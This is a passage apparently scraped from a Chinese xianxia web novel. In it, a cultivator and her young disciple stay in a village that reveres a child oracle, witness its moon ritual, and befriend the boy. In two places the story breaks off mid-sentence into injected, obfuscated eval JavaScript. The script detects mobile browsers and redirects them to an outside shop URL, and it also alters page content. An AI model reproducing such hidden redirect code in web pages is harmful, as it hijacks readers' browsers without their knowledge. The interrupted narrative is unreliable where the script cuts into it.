找了一片离骸骨堆不远的地方,各怀心事地睡下了。 云朵已经很久没有安心地合眼休息过,一夜无梦。 次日,他们启程不到一个时辰,便惊奇地看到,在前方路的尽头,竟然出现了一座村庄。屋舍沿着一条小河分布在两岸,袅袅炊烟从屋后升起,昭示着这座村庄仍有人居住。 村口外,有几个妇人正在河边洗衣服,看到云朵二人,脸上也满是震惊。 云朵跃下马背,带着长生上前行礼:“几位姐姐好,我是云岁宁,这位是长生,恰巧路过此处,不知可否在村中借住几晚?” 几位妇人惊疑不定地你看看我,我看看你,最后有个看上去年纪最大的站出来说:“这个,我们几个拿不了主意,我们带你们去见见村长吧。” 云朵道过谢,一手牵着马,另一手牵着长生,跟着妇人们走进了村庄。村庄中一派安宁祥和的景象,让她恍惚以为这并不是黑雾肆虐的乱世,之前的经历都是一场漫长的噩梦而已。 村长居住的屋舍在靠近村子中央的位置,他们沿途见到了不少村里人,全都用好奇又防备的眼神盯着他们。 他们最终停在了一个看着比其他民房高大的屋子前,领路的妇人敲门三声,不出片刻,一位头发花白的老人打开了门。那妇人与老人耳语几句,老人抬头,用不带感情的目光扫视了他们二人,随后走了过来,用低沉沙哑的声音对他们说:“来者是客,灵溪村欢迎所有远道而来的客人,请二位跟我来。” 云朵本以为会被盘问很久,谁知这村长一个问题都没问,直接就欢迎他们来村里借住。按照她之前的观察,这个村子肯定很久没有来过外人了,应该排外得很,怎么会问都不问就让来历不明的人住进来? 老村长并没有理会她心中的弯弯绕绕,直接朝着一个方向走去,云朵见状连忙跟上。他领着二人走到靠近村子边缘的一个院子前,对他们说:“你们就住这里吧,里面的家具都是好的,就是落了灰,需要你们自己打扫一下。” 云朵:“多谢村长,剩下的我们来就好。”她从储物袋中掏出一些碎银子,递给村长,“这些先当作我们预付的房费,不够的话我们后面再补给您。” 哪知老村长却摆摆手:“不必,这些屋子空着也是空着,我们这里也没有花银子的地方,你们还是留着吧!你们大老远的来到这,需要休息,我就不打扰你们了,有什么事去刚才那间屋子里找我就行。” 说完,村长的目光从云朵脸上转移到了长生身上,盯着他看了几秒才转身离开。 等到他走远后,长生挠了挠头,问云朵:“师父,这个村长刚才看我的眼神好怪啊,看得我毛毛的。”说着还用手搓了搓胳膊上的鸡皮疙瘩。 云朵盯着村长的背影,直到他消失在视野中,才回道:“长生,村里如果有人要给你什么吃的喝的,你可以拿着,但不要进嘴。” 长生有些不解:“师父……?” 云朵反问道:“人的本能是趋利避害,在这种世道下,突然有两个陌生人来到你家,想要借住,你会怎么做?” 长生想了想,答道:“我、我可能第一反应会拒绝。” 云朵:“没错,可是无论是之前的妇人,还是这位村长,非但没有显露出丝毫拒绝的意思,反而连问都不问,就把我们安置进来了。” 长生点头:“确实,这不符合常理。所以,他们对我们有所图谋?他们会害我们吗?” 云朵:“我也没想到一个合适的理由,也许再观察几日,我们就能明白他们究竟想要干什么。” 她抬起头,望着他们来时的方向,突然想到了什么。 “长生,你不觉得,这个村子离那个山洞,挺近的吗?” 44. 灵溪有碎梦(2) 在灵溪村迎来的第一个清晨,云朵是被鸡鸣声唤醒的。她打了个绵长的哈欠,用发带随意绑上头发,去另一个屋子里叫长生起床。 大概是很久没有在床上好好睡一觉了,长生根本没听见鸡鸣,还呈“大”字型平摊在床上呼呼大睡,嘴角还流着口水。 “长生,起床啦!该修炼啦!”云朵走到床边,“唰”地掀开了被子,“你可是以后要当大侠的人,不能偷懒!” 长生从梦中惊醒,揉着惺忪的睡眼,嘟囔着:“唔……这就早上了?我还没睡醒呢……” 云朵敲了敲他的头,道:“没醒透?去洗把脸就好了,这几天我们不用急着赶路,大不了中午再睡补觉!” 长生不情不愿地出去了,云朵帮他叠好被子后,也跟了出去。 经过这些日子的训练,长生已经有了明显的进步,云朵决定适当减少基础的力量训练,增加一些诸如挥剑、步伐等技巧性的练习。 长生在院子里自觉地扎着马步,云朵在旁边盯着他发呆,突然想起村里有条河,不知河里会不会有鱼?她出门前带的口粮已经接近见底,而且里面也没有肉类,长生正是长身体的年纪,若是能抓到两条鱼,可以给他改善一下伙食。 说干就干,云朵背着手踱步到他旁边,一脸神秘地说:“你在这好好练,我出去给你弄点好吃的!”说完,在长生疑惑的眼神中走出了院门。 他们住的院子地处村庄边缘,住户稀少,但出门不远处就是一大片田地。穿过田地,灵溪静静地流淌着,水声清脆,溪水清澈见底。云朵沿着溪水边走边找,很快就看到了几条正在逆着水流游动的鱼。 盈盈剑应召出鞘,化作一阵淡粉的光,扎入水中。待再出水时,剑身上穿着两条半尺多长的鱼,还在不断扑腾。 云朵从剑上取下了鱼,擦净剑身后收起,用手拎着鱼,踏上了来时路。田里已经有人开始劳作了,云朵无意打扰他们,绕路到了离他们最远的田埂,悄悄地走了。 出乎她意料的是,当她回到住处,发现院门外趴着几个小孩,正满脸好奇地看着在院中挥剑的长生。 “你们在看他练剑吗?想看就进去吧。”云朵的声音在孩子们身后响起,吓得他们一激灵。 “啊,是昨天新来的大姐姐!”其中一个小孩壮着胆子上来跟她打招呼,“大姐姐好!我们真的可以进去看小哥哥练剑吗?” 云朵迎着他们怯生生的目光,点了点头,随后首先跨进院门。 长生正满头大汗地挥剑,清喝声与破空声有节奏地在院中响起。见云朵回来了,手里还拎着两条鱼,长生便用期待的目光看着云朵,手里挥剑的动作也轻了下来。 云朵清了清嗓子,提醒他:“虽然我理解你看见我回来非常开心,但是容我提醒你,要是你练习懈怠了,这两条鱼就不属于你了。”说完,她伸手指了指院门的方向,长生的目光跟了过去,看见几个小脑袋探了进来,左顾右盼。片刻后,几个小朋友像一串小鸡仔一样,一个接一个地迈进院子。 长生疑惑道:“师父,他们是……?” 云朵耸耸肩:“大概是被你练剑的英姿吸引过来的好奇宝宝们。” 长生继续疑惑:“那他们进来是要……?” 云朵:“也许是来找你偷师的吧。” 长生震惊:“啊??” 云朵:“没事,你练你的,他们估计也就照着你的动作比划两下。” 她没再管长生,径直走到后面的杂物间,从里面抱出一捆柴,在院里堆成一堆。 原本来围观长生练剑的小豆丁们,一人手里拿着一截枯树枝,正互相打得起劲,反而是长生被冷落在一旁,独自挥汗如雨。 待长生终于练完了剑,回头只见云朵不知从哪儿找来两根树枝,已经把鱼都串好了,正抱着手臂百无聊赖地等着他。 长生把桃木剑倚在墙角,哒哒哒地跑到云朵面前,一边擦汗一边道:“师父,我练完了!”然后就一脸期待地看着那两条鱼。 云朵挑眉,问道:“你之前说你会做饭,那你会烤鱼吗?” 长生点点头:“会的!以前在栖云镇我都是自己弄吃的,手艺很好的!师父你在一旁等着就好!” 云朵目送着长生一路小跑进了厨房,一阵叮呤咣啷之后,又抱着几个瓶瓶罐罐跑了回来,把它们挨个摆在地上。 云朵好奇道:“这些是什么?” 长生用袖子擦擦汗,答道:“这些都是调味料。”说完,他难得斜着眼看云朵,揶揄道,“师父,你这么问,以前一定不怎么做饭吧?” 云朵有些尴尬地咳了一声,她哪里是不怎么做饭,她是从来没做过饭!以前在浮云宗,一天三顿饭都是在焦香轩解决的。后来跟长生一起外出游历,她就没再吃过什么东西,哪里会用到她来做饭。 她迅速想出了转移话题的方法,说道:“我来帮你点火。”说完,她指尖燃起火苗,将它摊到柴火堆上。很快,火舌就蔓延到整个火堆,燃起了熊熊烈焰。 在等待火焰变大的过程中,长生已经迅速完成了刮鱼鳞、去内脏的工作。他举着处理好的鱼回到火堆旁,将穿着鱼的树枝斜斜地插在火堆旁的土地里,让鱼身靠近火焰。他专注地盯着那两条在火光映照下开始渗出油脂、滋滋作响的鱼。一只手握着树枝,慢慢地、一下一下地转动着。 烤鱼的香味飘了出来,在院子里打闹的小孩们也被吸引了过来,叽叽喳喳地围在篝火周围。 “哇!是烤鱼!” “好香啊!我的口水要流下来了!” “好了吗?可以吃了吗?” 长生撇了撇嘴,不情愿地小声嘟囔:“这明明是我师父给我抓的鱼……” “啊,小哥哥好小气!” “吃一口怎么了嘛!” 小孩们你一言我一语,表达着不满。长生气得脑袋冒烟,又不能真的给他们一人一拳,只能咬牙憋着。 “这两条鱼确实是我抓来给长生吃的,你们不要抢,不然他填不饱肚子的!”云朵端起一副家长的姿态,呵止了那群正要朝着长生发难的小孩,“这样吧,你们要是想吃,就自己抓鱼回来烤,不会可以让长生教你们。” 小孩们互相看看,仿佛被说服了。 “那我们去抓鱼,拿回来让小哥哥教我们烤!” 说完,一群小孩撒欢般地冲出了院门。 云朵面无表情地目送他们离开,一低头,正好对上了长生亮晶晶的眼睛。 云朵:“怎么了?你怎么用这种眼神看着我?” 长生:“师父好聪明!一下子就把他们都劝走了!” 云朵笑道:“那你多学着点。赶紧专心烤你的鱼吧,小心一会儿烤糊了,那你就自己重新抓去!” 鱼皮在火焰的炙烤下逐渐变得金黄,散发出诱人的焦香。长生拿起旁边的瓶瓶罐罐,从每个里面捏出一点,均匀地洒在烤鱼表面。他又烤了一会儿,从地里拔起其中一个树枝,转着观察了一下整条鱼。 “好了,可以吃了!”他把另一条鱼递给云朵,“师父,你也尝一口吧,很好吃的!” 云朵盯着那条鱼看,鱼皮烤得焦黄酥脆,鱼腹的油脂被烤得透明发亮,滋滋作响,鱼肉也由半透明变成了乳白色,边缘处微微卷起。 这卖相看着确实不错,不过云朵也没有接过来,只是摆手道:“你吃吧,好不容易烤出来的!” 长生见她不接,嘟起嘴,又把鱼往她面前递了递,恳求道:“师父,你吃一口吧,就一口!我的厨艺真的很好的!” 云 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长生却没太把这件事放在心上,反而开始主动说起自己小时候的事:“我记事以来就没有见过爹娘,族里的人跟我说,他们是病死的。我特别小的时候,每天都去不同的人家蹭饭,他们看我可怜,也都会从原本就不多的饭菜里分一点给我。后来我长高了,能踩着板凳够到灶台上的锅碗瓢盆了,就开始自己学做饭。”他一边盯着跳跃的篝火,一边慢慢吃着鱼肉,含糊不清地讲述,“那时候我做的东西……说实话,我自己都吃不下去。但是每天能分给我的食材是固定的,没办法,再难吃我也得硬着头皮吃下去。后来做的次数多了,放调料的时候心里也有谱了,才逐渐好吃起来。” “老大有时候会来看我,顺便带点他随手打来的山鸡、野兔之类的。他不是特别忙的时候,也教过我怎么去打野味,怎么去河里捉鱼。不过我可能还是太笨了,经常捉不到,偶尔捉到一次,也能改善一下伙食。” 他说完了,手上的鱼也吃完了,他看着云朵,有些不好意思地挠了挠头:“我小时候的经历好像有点无聊,要不还是师父来讲讲你以前的事吧?黑雾出现之前的世界是什么样的呢?是不是到处都是人,大家整天都开开心心的?” 云朵回想了一下,她虽然也是孤儿,但来到浮云宗后,一直被宗门保护得很好,起码不用担心吃不饱穿不暖,也不用担心危险会随时降临。 “我们回来啦!”孩童的声音打断了云朵的思绪,也阻止了她想要说出口的话。他们像快乐的小动物一样跑进来,每个孩子手上都拎着一条正在扑腾的鱼,“我们抓到鱼啦!小哥哥,你快教我们烤鱼吧!” 长生不情愿地噘着嘴,但也没说什么,一脸便秘地开始他的厨艺教学。指望一群几岁的小孩能学会自己烤鱼,还不如指望母猪会上树呢。云朵被他们叽叽喳喳的声音吵得头疼,打算去院子外面透透气。 她刚走出院门,迎面过来一个妇人,看见云朵后,立马满脸堆笑:“哎呀,云姑娘,我刚还在想你在不在呢,你就出来了。” 云朵在搜刮了一下脑子里的记忆,对这个妇人的名字并没有印象,甚至连脸都有些陌生。这么一个可能都没见过面的人,大老远跑到村子边缘来找她,也是很新鲜。 云朵问:“这位姐姐,你找我有什么事吗?” 妇人:“是这样的,我们每个月月初那天的酉时,都会举行敬神祝祷仪式,就在村长家门口的那片空地上。今天恰好是月初,你们也是赶上了,村长让我来问问,你们今晚要不要一起参加?” 敬神祝祷仪式? 云朵联想到了栖云镇的颂祷派,脸色有点古怪。 “我能不能问一下,你们信奉的神明是哪一位?” 谈到这个话题,那妇人眼中的光顿时变得炽热:“我们的神明乃是北斗星君,我们依靠北斗童子聆听星君的旨意,并向星君祈福。每月的敬神祝祷仪式便是为了向星君和童子表达我们的感激!” 童子?云朵觉得事情变得有趣了起来。 她的嘴角向上勾起,向那个妇人露出一个不达眼底的笑容。 “我们要参加,到时候还请帮我们留两个位置。” 45. 灵溪有碎梦(3) 在连着烤糊三四条鱼之后,这群孩子终于在长生的指导下成功烤出了一条能吃的鱼。孩子们在为自己刚刚掌握了一项新的人生技能而欢呼雀跃,一旁的长生却仿佛苍老了十岁,一脸的生无可恋。 好在小孩子做什么事都是三分钟的热度,啃完了自己的劳动成果,孩子们便跟他们道别,一溜烟地跑出了院子,去寻找新的乐子了。 云朵一脸坏笑地拍了拍蔫头耷拉脑的长生,问道:“长生师父,教徒弟的感觉如何呀?” 长生哭丧着脸:“师父,你就不要再拿我寻开心了!我最不擅长应对小孩子了。” 云朵挑眉:“这话我听着怎么不太对?你拿小孩子没辙?你自己不也是小孩子吗?” 长生摇头:“不不不,我怎么看都比他们大吧!” 云朵:“你比他们大的岁数,我一只手都数得过来。” 长生:“不能这么算啊,师父!我可是经历过生死劫难的人,我的心理年龄可比他们大多了。” 云朵懒得跟他掰扯这个,摆摆手道:“好吧,那长生大哥哥,今晚赏脸跟我一起参加他们这儿的敬神祝祷仪式呗?” 长生:“敬神祝祷仪式是什么?” 云朵把刚才那妇人的话大致复述了一遍,长生听着听着,眉头逐渐皱到了一起。 “师父,你是不是也觉得,咱们之前夜宿的那个山洞,跟这个村子有些关联?” 云朵点头:“正是,不然这实在是太巧合了。正好他们邀请我们了,我们便去看看,这些人到底在搞什么名堂。” 酉时,夕阳熔金,将天空染成一片温暖的橘红。 云朵带着长生准时出现在了仪式现场。他们赶到时,仪式已经临近开始,场地里已经坐满了人。而在人群的正中心,端坐着一个眉目如画的孩童。 ——这位大约就是被村民们尊称为“北斗童子”的孩子了。 他穿着用靛蓝染布缝制的干净衣裤,小小的身躯挺得笔直,神情带着一种超越年龄的平静。他的双眸清澈透亮,映照着天边最后的余晖,竟让云朵有一种这小小少年已经看透生死的感觉。 村中的男女老少围坐在他周围,距离他十步左右。 空地边缘,几支松脂火把被点燃,跳跃的火光取代了夕阳,照亮夜色,在人们脸上投下明明暗暗的光影。 没有人说话。场中的村民,无论男女老幼,皆一言不发,仿佛默契地在等待着什么。 一片寂静中,村长起了一个悠长的调子,如同石子被投入湖水,激起了一圈圈涟漪。其他村民跟随着村长的歌声,都张开了嘴,声音或洪亮或低沉,或清脆或沙哑,如同百溪汇流,汇成一股质朴而磅礴的声浪,齐声唱和。 云朵和长生坐在人群的外围,静静地旁听。他们唱的歌词很直白,就是在向北斗星君传递他们的愿望:家庭和睦、风调雨顺、诸邪退散。大人们都唱得真挚又虔诚,孩童们还没有到理解这一幕的年纪,只是学着大人们的强调和唱词,为这大合唱增添一分生机。 随着最后一句的尾音落下,歌声停歇,一时间场上只剩下了火把燃烧的噼啪声。 一直沉默端坐在人群正中的北斗童子终于开口。这个年纪的孩子尚未经历变声期,嗓音纯净,如泉水叮咚,环珮相击。他是北斗童子,是神君在人间的代理人,也是信徒们的传声筒。他的歌以神明的口吻向人们承诺,他们的请求都会被接受,愿望都会被实现。他向他们保证,每一次从梦中睁眼,他们都将迎接人生中最美好的一天。每当除旧迎新的爆竹声响起,他们都会迎来更加顺遂的一年。 得到了神明的承诺,村民们变得更加兴奋。围坐的人群动了起来,所有人都站起了身,坐着歌唱已经无法传达出他们澎湃的情感。 他们踏着简单的、有力的步伐,开始围绕着北斗童子顺时针转起圈来。脚步踩踏着土地,发出沉闷而整齐的“咚、咚”声,如同大地的心跳。手臂也随之摆动,歌声也变得更加热烈欢快。 火光跳跃,人影憧憧。 被围在中心的童子,小小的脸上也露出了浅浅的微笑。他安静地坐在那里,仿佛沐浴在信徒们虔诚的感激中。 云朵看着他脸上几乎可以被称为圣洁的微笑,在场周橙黄火光的包围中,内心却泛起丝丝缕缕的寒意。这位北斗童子所有的表现堪称完美,仿佛他小小的身体里真的装着一个慈悲的神明。但她十分清楚,这里没有神明,只有一个被大人推上神坛的可怜孩子。她实在是很难想象,这个孩子究竟经历了什么,才能像这样被扼杀掉活泼好动的天性,成为一尊完美的傀儡。 “云姑娘,既然来了,就一起加入我们吧!”一个声音打断了云朵的思绪。她抬头看去,只见中午特意来邀请她的妇人竟脱离了跳舞的大部队,来到她和长生面前,邀请他们一起跳舞。 云朵的目光在妇人的脸上淡淡扫过,投向了远处依然在旋转跃动的人群,答道:“我们初来乍到,不太懂仪式中的规矩,恐怕一个不小心唐突了星君。这次我们就先观摩你们的仪式,若我们能待到下个月月初,一定加入你们共同欢庆。” 那妇人见他们拒绝,也没有强求,跟云朵客套几句后,就又返回了跳舞的行列。 目送妇人远去,云朵垂眼看向长生,刚好长生也抬起头,用惴惴不安的眼神看过来。 云朵俯下身,凑到长生耳边,低声道:“长生,师父交给你个任务吧。” ----------------- 第二天一早,云朵照常把长生拎到院里练剑,不出一盏茶的工夫,云朵便听到远远地传来了小孩子的嬉笑打闹声,伴着“哒哒哒”的脚步声越来越近。 云朵朝长生使了个眼色,长生回给她一个“收到”的眼神。 推开院门,云朵刚好迎上了长生的小粉丝们。几个小孩在她跟前将将刹住了车,抬起汗湿的小脸,七嘴八舌地跟她打招呼: “啊,云姐姐!” “云姐姐早上好!” “云姐姐要出门吗?” 云朵笑眯眯地回道:“早上好呀。今天又来看长生练剑啦?我正好出门有事,你们好好玩哦!” “好!” 长生这边暂时搞定,剩下的就看她的了。 云朵一边沿着路往村子中心走,一边寻找目标。但目标还没找到,就先被一阵哭喊争吵声吸引去了注意力。 前方不远处围着一堆人,那撕心裂肺的哭喊声就是从人群中发出的。她悄悄走到人群外围,透过人与人之间的缝隙往里看去。 人群围出来的圆形空间内,一名妇女跌坐在地上,头发凌乱,双眼都哭肿了,充着血,死死地瞪着前方,喉咙里挤出不成调的嘶吼。 在她前方的身影,云朵认得,正是昨晚被村民们围在中间的北斗童子。此时,他正被几个壮汉牢牢护在身后,小小的身体僵硬地站着,那张总是带着超然平静的小脸上,此刻覆盖着一片茫然和惊惧。他胸前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吼完这一长串,她突然脱了力,借着抱住她的人滑坐回地上,双手捂着脸,呜呜哭泣。 “他信你……他把你当神仙供着!他说有北斗童子在,神明就看着咱们……可结果呢?!就为了这棵草!他……他跌下去了!他们找到他时……他怀里就抱着这个!抱着这个没用的草!!” 人群死寂,只有妇人粗重的喘息和压抑的啜泣。那些平时围绕在知夏身边虔诚祈福的脸庞,此刻都染上了复杂的情绪。 “神明不保佑!童子不显灵!!”妇人积蓄起最后的力量,再次爆发出骇人的尖叫,试图挣脱束缚,“他死了!他死了!!你们护着这个没用的泥胎有什么用!!让我掐死他!让神明看看!看看祂选了个什么废物!!” 眼见她又要发疯,周围的人赶紧上去拦她。可她状若疯魔,力气大得惊人,竟真的挣脱了一只手,枯瘦的手指再次抓向知夏的方向,带着同归于尽的绝望。护着知夏的汉子们七手八脚地将她向后拖,好几个男人也急忙上前帮忙,场面一片混乱。 “大山家的!你冷静点!” “使不得!使不得啊!” “大山是为了大家……你莫要迁怒童子啊!” 劝慰的声音苍白无力。 知夏也被这汹涌的恶意和混乱彻底吓住了,小小的身体剧烈地颤抖起来,那双清澈的眼眸里充满了委屈和茫然。 云朵突然想起了她之前在栖云镇的遭遇,当时的她,在旁人看起来也是这样无用又无助吗? 信仰的力量太沉重了,当担负起信仰的人无法回应凡人的绝望时,就会像这样,被那滔天的怒火焚烧殆尽吧。 可他不是神明,他只是个孩子。 在这座信奉神明的小村庄里,他才是真正的祭品。 46. 灵溪有碎梦(4) 云朵回到院子里时,长生已经结束了今天的训练,正在带着一群小豆丁像模像样地练习挥剑。他们都背对着院门,没看见云朵回来了。 云朵的玩心被勾起来了,她收敛气息,悄悄摸到长生背后,掐着嗓子道:“长生师父好厉害,能不能也教教我剑术?” 长生被她吓得一缩脖子,扭头见是自己的师父,脸上的惊恐瞬间变成了无语:“师父,你又拿我寻开心!” 云朵笑道:“怎么是拿你寻开心呢?我看你教的挺像那么回事的呀。” 长生没回话,只转回去对那群小豆丁说:“今天就先教这么多吧,一下子学太多你们也消化不了,剩下的时间你们就自由活动吧。” 小孩子们哪里是真心来学剑的?一听到自由活动,立马就撒了欢,每人手里拿着一个树枝互相打来打去,早就把刚学的姿势和技巧忘的一干二净。 云朵看了一眼跑远的小孩们,问长生:“交给你的任务完成得怎么样?” 长生低声道:“这群小孩都没有出过村子,所以也不知道洞穴的事,这件事情恐怕还得想其他的办法来验证。至于那个北斗童子,名字叫知夏,听说是四五岁时才被选为童子的。他每天的起居生活都有人照顾,出门时也会有大人跟着,所以跟这批年纪小的孩子都不太熟。” 云朵摸了摸下巴,问道:“四五岁才被选为北斗童子,选人的标准是什么呢?” 长生摇摇头:“这个不清楚,应该都是村里的大人决定的吧。” 云朵:“也对,这个肯定不会让小孩子知道。还问出来别的了吗?” 长生:“算是有。他们说再过几天就是知夏十岁的生日,到时候村里会办一场盛大的生日宴。” 云朵奇道:“又办宴会?不是昨天刚办完那个什么仪式,总共没差两天,为什么不合在一起办?他们也是不嫌折腾。” 长生:“谁知道呢,可能他们怕在这方面节省,会让星君不开心,惩罚他们吧。” 云朵:“真是没法理解他们这种人的想法。” 长生:“别的就没有了。” 云朵伸手摸了摸长生的头:“不错不错,已经比我想象得多了!走,师父带你抓鱼去,咱们今天接着改善伙食!” “好!师父你等我一下,我去取个桶来,咱们这一次多抓点回来!” 二人来到溪边,云朵找了块平坦的地方坐下,抽出佩剑递给长生:“来,拿着这个去插鱼吧,小心别把手割了啊!” “师父,你不是说带我来抓鱼吗?”长生一脸怨念地看着她,语气幽幽,“怎么变成你在旁边歇着,看我抓鱼了?” 云朵问他:“你不会抓鱼?” 长生:“会是会……” 云朵:“那不就行了,快去吧,我在这等你哈!” 长生气鼓鼓地下河摸鱼去了。云朵听着他在河里的扑腾声,把双手交叉垫在脑后,仰躺着盯着天上的云发呆。阳光懒洋洋地洒下来,照在身上惬意又舒适,云朵悠哉地眯起眼睛。 在长生抓到第三条鱼时,云朵的耳朵捕捉到一丝不和谐音。 有人在靠近。 她撑着身体坐起,目光紧盯着来人的方向。 长生的声音远远传来:“师父,你怎么不躺着啦?” 云朵:“好好抓你的鱼吧,记得多抓几条!” 长生咕哝两声,专心抓鱼去了。几分钟后,一个小小的身影拨开田野中的作物,钻了出来。 云朵看见来人,顿时惊讶不已:“……知夏?” 知夏大概没想到云朵会知道他的名字,也愣住了。 云朵环顾了一圈,也没有发现其他人的身影,于是压低声音问道:“你一个人来的?” 知夏点点头,又摇了摇头:“他们去给李叔叔家送慰问品了,我见他们忙,就自己跑出来了。” 云朵:“那他们发现你不见了,不会着急吗?” 知夏垂下眼,小声说:“会的,找到我之后还会骂我一顿。” 云朵思忖了一下,说道:“那我送你回去吧,我就说是有事找你,所以把你带走了。我是外人,他们不会把我怎么样的。” 知夏摇了摇头,拒绝了。 “我不想回去,他们想骂我就骂吧,反正也没几次了。” 云朵问道:“没几次是什么意思?” 知夏踌躇了一会儿,答道:“因为我快过十岁生日了,过完生日,他们就不会再管我了——不说这个了,大姐姐是从村子外面来的人,能不能给我讲讲外面是什么样子的?” 云朵看着他满怀期待的双眼,觉得喉咙仿佛被什么东西堵住,说不出话来。 外面的世界是什么样子的?荒无人烟,充满危险,莫说普通人,就连她这种金丹修士都可能在与黑雾的对抗中受伤,甚至死亡。可她要如何对着这样一双闪着希望的眼睛,说出这种令人绝望的现实? 于是她开始给知夏讲她更熟悉的风景,尽管已经过去了二百年,记忆中那些人的一颦一笑,那些风景中的一草一木,仍然历历在目,恍如昨日。 云朵讲得投入,知夏听得认真,还时不时提问、感叹一番。此时的他,摘掉了脸上那副属于神意代行者的面具,显现出了属于孩子的天真和好奇。 时光就在过去的影子中缓缓流淌,直到第三个人的声音打破了这份安宁。 “哎哟,童子啊!你怎么不声不响地跑到这儿来啦,可是让我们一通好找!”那妇人一边抱怨着一边小跑过来,刚要伸手拽知夏,一扭脸,看见了云朵,悬在半空的手顿时僵住了,“这……这不是云小姐吗!你在跟北斗童子聊天吗?我是不是打扰你们啦?” 那妇人一出现,知夏身上的那层鲜活的气息瞬间消失,又变成了那副无悲无喜、生死看淡的模样。他垂着眼睛,视线看向地面,仿佛他能把地面盯出个洞,顺着洞逃到世界的另一面。 云朵看见知夏这个样子,心知今天只能聊到这了,不禁在心中暗暗叹气,面上却依旧淡淡笑着,回那妇人:“没有,我们也只是随便闲聊,一聊就忘了时间了,害得你们一通好找。” 那妇人连忙摆手,道:“哎呀,云小姐这话就见外了,你们要是没聊完就接着聊,我先上一边儿待会儿,你们聊完了叫我就成!” 云朵在内心冷哼一声。 “不了,长生还在河边,我再不回去,我那冒失徒弟指不定又要闯出什么祸来。”她对妇人说完,又转过来对知夏说,“那我就先走啦,改天见!” 戴着面具的知夏朝她点点头:“再会。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062206|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 云朵来到河边,就见到一个小小的身影盘腿坐在河边,身边还摆着一个竹筐,筐里装满了正在扑腾的鱼。筐的主人一手托着腮,另一只手随意地捡起手边的小石子,用力掷到河里,激起一串水花。 她没有刻意压制脚步声,因此当她靠近时,长生便察觉到了。 只见他一脸欣喜地转过脸,看到云朵后,又换上一副气鼓鼓的表情,像一只受了气的仓鼠。 云朵见他的反应,觉得有趣。她自觉在面对长生时,很少端起师父的架子,因此虽然长生总是一口一个“师父”地喊她,倒也没少跟她调皮。二人的关系比起师徒,更像姐弟。 但或许是真的怕云朵哪天便丢下他不管了,长生平时皮归皮,在表现负面情绪这方面倒是一直很收敛。云朵也是第一次见他这么委屈巴巴,敢怒却又不敢言。 她走上前,伸出手捏住了长生的脸颊,在长生一串“嗷嗷嗷”的抗议声中笑着问:“怎么啦?怎么蹲在这里像个受气包一样?” 长生晃了两下头,发现云朵的手指像钳子一样夹着他脸上的肉,只好伸手拍掉,指责道:“师父你去哪儿了呀!你让我抓鱼,我就兢兢业业地抓,哪想到我抓完鱼一回头,连你的影子都看不见了!” 云朵失笑:“你在这里,我还能去哪儿?我不过是在附近逛了逛,谁知会碰上知夏,就同他多聊了一会儿,所以才回来晚了。” 长生听了,有些吃惊:“知夏?他不是很少出门吗?而且他每次出门都有大人跟着,还能让你们俩聊这么半天?” 云朵把今天发生的事情全都给长生讲了一遍,长生下巴差点掉到地上:“天哪!我居然错过了这么多事!” 云朵挑眉:“我怎么觉得你倒像是在遗憾自己错过了这么多好戏?” 长生使劲摇头,否认道:“我才没有!我只是觉得知夏好可怜,他明明还没我大呢,就得面对这些……” 云朵拍了拍他的肩,安慰道:“好啦,别难过了。你费老大劲抓了这些鱼,不赶紧回家烤了吃,就要放得不新鲜了。过两天不正好是知夏的十岁生日宴吗?我们过去看一看,若是情况不对,便找个月黑风高的晚上,拿麻袋把他套起来拐跑,怎么样!” 长生听完云朵的建议,脸上露出了难以置信的表情:“师父……你以前真的是个修士吗?我的意思是,你没从事过什么不正经的职业吧?” 云朵给了他头顶一拳,骂道:“我在这好心安慰你,你倒来讽刺我了!”说完,她扭头就走,大有一副不管长生的架势。 长生揉着被她敲出来的包,赶紧拎起放在一旁的鱼篓背上,小跑两步赶上云朵,委屈地嚷嚷:“师父,你自己听听你说的,那像是正经建议吗!能怪我多心吗……” 二人一路拌着嘴往住处走,远远地看见院门了,云朵却突然想起了什么,问长生:“对了,几天后知夏的生辰宴,具体是什么时辰开始,你知道吗?” 这个问题来得突然,弄得长生有些摸不到头脑,但还是回想了一下,答道:“说是辰时开始。” 云朵:“辰时?你确定?” 长生扁了扁嘴:“我当然确定!我不至于连个时间都记不明白吧!” 云朵摸了摸下巴,喃喃道:“那就很有意思了……” 47. 灵溪有碎梦(5) 到了知夏生辰日当天,云朵难得没有一大早就把长生从床上薅起来练功。她倚在门口看着长生睡眼惺忪地洗漱完,领着他朝村长房门前的空地上走去。 他们这一路上没看见几个人影,云朵心里不禁泛起了嘀咕。 这村子里的人平日里看上去对那个什么北斗星君虔诚无比,若不是命只有一条,怕是也能毫不犹豫地献给他们的星君。现在北斗星君的传声筒要过生辰宴了,眼看着辰时就快到了,这些人怎么反倒不积极起来了? 来到广场后,云朵才明白了为什么路上没什么人。 同前几日的敬神祝祷仪式一样,广场上已经人头攒动。并不是村民们热情不够,而是他们两个来晚了。 尽管已经见识过一次了,长生还是被震惊了,啧啧称奇:“师父,他们可太厉害了,都起得好早啊!” 云朵:“看见没有,这就是信仰的力量。” 长生莫名其妙地看了她一眼:“师父你怎么说得好像很能感同身受一样……” “那当然了,我对修仙可是非常虔诚的啊!”云朵赏给长生一个“你懂什么”的表情,随后四处张望半晌,扯着长生的衣袖,将他带到一处人相对较少的角落,“咱们就在这儿看吧。” 长生看着面前一排黑压压的人头,努力踮起脚尖,发现黑黑的后脑勺只是换了个角度,还是什么都瞧不见。 “师父,你选的这个地方不太行,我什么都看不见啊!” “你着什么急?我还能叫你白来?脸伸过来!” 长生不情不愿地照做。 